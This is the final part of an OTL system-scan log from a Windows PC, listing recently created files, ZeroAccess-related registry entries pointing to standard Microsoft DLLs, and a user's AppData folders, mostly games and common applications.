[2014/06/12 06:19:31 | 000,000,032 | ---- | C] () -- C:\Windows\CD_Start.INI
[2014/06/03 19:51:33 | 000,007,602 | ---- | C] () -- C:\Users\Jopi\AppData\Local\Resmon.ResmonCfg
[2014/04/25 17:36:33 | 000,210,944 | ---- | C] () -- C:\Windows\SysWow64\msvcrt10.dll
[2014/02/25 21:29:19 | 000,000,982 | ---- | C] () -- C:\Windows\eReg.dat
[2014/02/20 18:14:02 | 000,179,377 | ---- | C] () -- C:\Windows\SysWow64\xlive.dll.cat
[2014/02/20 11:23:20 | 000,215,416 | ---- | C] () -- C:\Windows\SysWow64\PnkBstrB.exe
[2014/02/20 11:23:13 | 000,076,152 | ---- | C] () -- C:\Windows\SysWow64\PnkBstrA.exe
[2014/02/04 12:40:48 | 000,034,816 | ---- | C] () -- C:\Users\Jopi\AppData\Roaming\RZR_0070261840a786c336b4ffaf5eee.db
[2014/02/04 12:29:29 | 000,006,396 | ---- | C] () -- C:\Windows\SysWow64\PerfStringBackup.INI
[2014/01/28 21:03:04 | 000,165,723 | ---- | C] () -- C:\Windows\hpoins44.dat
[2013/08/05 14:15:08 | 000,066,104 | ---- | C] () -- C:\Windows\SysWow64\bdmpegv.dll
[2013/08/05 14:15:06 | 000,023,080 | ---- | C] () -- C:\Windows\SysWow64\bdmjpeg.dll
========== ZeroAccess Check ==========
[2009/07/14 12:55:00 | 000,000,227 | RHS- | M] () -- C:\Windows\assembly\Desktop.ini
[HKEY_CURRENT_USER\Software\Classes\clsid\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32] /64
[HKEY_CURRENT_USER\Software\Classes\Wow6432node\clsid\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32]
[HKEY_CURRENT_USER\Software\Classes\clsid\{fbeb8a05-beee-4442-804e-409d6c4515e9}\InProcServer32] /64
[HKEY_CURRENT_USER\Software\Classes\Wow6432node\clsid\{fbeb8a05-beee-4442-804e-409d6c4515e9}\InProcServer32]
[HKEY_LOCAL_MACHINE\Software\Classes\clsid\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32] /64
"" = C:\Windows\SysNative\shell32.dll -- [2014/03/25 10:43:12 | 014,175,744 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Apartment
[HKEY_LOCAL_MACHINE\Software\Wow6432Node\Classes\clsid\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32]
"" = %SystemRoot%\system32\shell32.dll -- [2014/03/25 10:09:54 | 012,874,240 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Apartment
[HKEY_LOCAL_MACHINE\Software\Classes\clsid\{5839FCA9-774D-42A1-ACDA-D6A79037F57F}\InProcServer32] /64
"" = C:\Windows\SysNative\wbem\fastprox.dll -- [2009/07/14 09:40:51 | 000,909,312 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Free
[HKEY_LOCAL_MACHINE\Software\Wow6432Node\Classes\clsid\{5839FCA9-774D-42A1-ACDA-D6A79037F57F}\InProcServer32]
"" = %systemroot%\system32\wbem\fastprox.dll -- [2010/11/20 20:19:02 | 000,606,208 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Free
[HKEY_LOCAL_MACHINE\Software\Classes\clsid\{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}\InProcServer32] /64
"" = C:\Windows\SysNative\wbem\wbemess.dll -- [2009/07/14 09:41:56 | 000,505,856 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Both
[HKEY_LOCAL_MACHINE\Software\Wow6432Node\Classes\clsid\{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}\InProcServer32]
========== LOP Check ==========
[2015/03/05 23:48:47 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\.huntedcowcache
[2015/03/07 07:55:18 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\.minecraft
[2015/02/03 17:52:41 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\.mono
[2015/01/16 17:41:55 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\.StarMade
[2014/09/02 19:20:14 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\2B86DD92-B839-4342-B054-DF12E7397A49
[2014/08/01 17:03:05 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\Arc
[2014/03/01 11:23:52 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\Awesomium
[2014/12/28 16:22:51 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\BadFlyInteractive
[2015/01/30 18:25:26 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\BANDISOFT
[2014/11/06 17:13:36 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\BitComet
[2014/07/02 17:23:00 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\Caribbean!
[2015/01/13 11:09:40 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\Command & Conquer 3 Kane's Wrath
[2015/01/30 22:35:11 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\CPUControl
[2014/04/25 21:07:18 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\DarkSoulsII
[2014/12/18 02:49:38 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\Day 1 Studios
[2015/02/09 13:48:15 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\dekovir
[2014/04/12 12:16:53 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\DMCache
[2015/02/08 07:55:31 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\Dropbox
[2014/06/23 20:11:09 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\EdgeOfSpace
[2014/05/07 18:56:45 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\FarSky
[2014/06/23 18:18:16 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\GameRanger
[2014/01/29 23:49:19 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\Garena
[2015/03/07 04:11:17 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\GarenaPlus
[2014/10/02 13:26:27 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\GOG
[2014/07/12 11:51:54 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\HandymanStudios
[2014/06/23 20:10:43 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\handymanstudios.eos.launcher
[2014/07/24 01:30:59 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\HeroesAndGeneralsDesktop
[2014/11/09 13:30:17 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\IDM
[2014/04/06 16:05:03 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\IObit
[2014/12/29 11:09:02 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\java
[2014/01/31 01:55:43 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\Kalypso Media
[2014/09/17 11:59:44 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\Knights Saves
[2014/06/26 06:45:33 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\library_dir
[2014/08/23 22:15:59 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\Longbow Digital Arts
[2015/03/03 23:06:46 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\Mael
[2015/01/12 17:40:50 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\Men of War - Assault Squad 2
[2015/01/29 23:02:27 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\MinMaxGames
[2014/03/07 15:50:09 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\Mount&Blade
[2014/03/06 13:39:06 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\Mount&Blade Warband
[2014/03/05 22:02:03 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\Mount&Blade With Fire and Sword
[2014/11/18 14:28:20 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\NexonLauncher
[2014/11/13 15:18:10 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\Notepad++
[2014/08/25 15:46:20 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\OBS
[2014/04/20 08:12:54 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\Oracle
[2014/02/20 09:40:27 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\Origin
[2014/11/18 21:38:21 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\Proxifier
[2014/12/13 23:49:32 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\Publish Providers
[2015/03/07 04:09:36 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\Raptr
[2014/02/09 14:24:47 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\rmi
[2014/08/11 00:38:22 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\Rogue Legacy
[2015/02/27 19:25:56 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\Running with rifles
[2015/01/20 00:14:16 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\S.T.A.L.K.E.R - Shadow of Chernobyl
[2015/03/03 22:56:17 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\SmartSteamEmu
[2015/03/06 10:01:46 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\Solvusoft
[2014/12/14 00:51:54 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\Sony
[2014/12/19 01:42:05 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\Steam
[2014/02/15 13:33:52 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\steamvr
[2014/12/08 14:41:13 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\StunlockStudios
[2014/09/09 20:55:59 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\TeamViewer
[2014/11/15 18:43:03 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\Trillian
[2014/02/25 14:14:27 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\Tropico 4
[2014/10/31 12:12:41 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\Tropico 5
[2014/10/15 10:34:58 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\Trove
[2015/02/06 22:19:12 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\TS3Client
[2014/08/01 19:15:07 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\Tunngle
[2014/03/26 14:00:43 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\Unity
[2014/10/18 19:05:10 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\Wargaming.net
[2014/10/01 20:16:54 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\Wrack
[2014/04/12 08:01:57 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\XGen Studios, Inc
[2014/01/29 23:49:17 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\xim
[2014/02/08 11:50:11 | 000,000,000 | ---D | M] -- C:\Users\Jopi\AppData\Roaming\XRay Engine
========== Purity Check ==========
< End of report >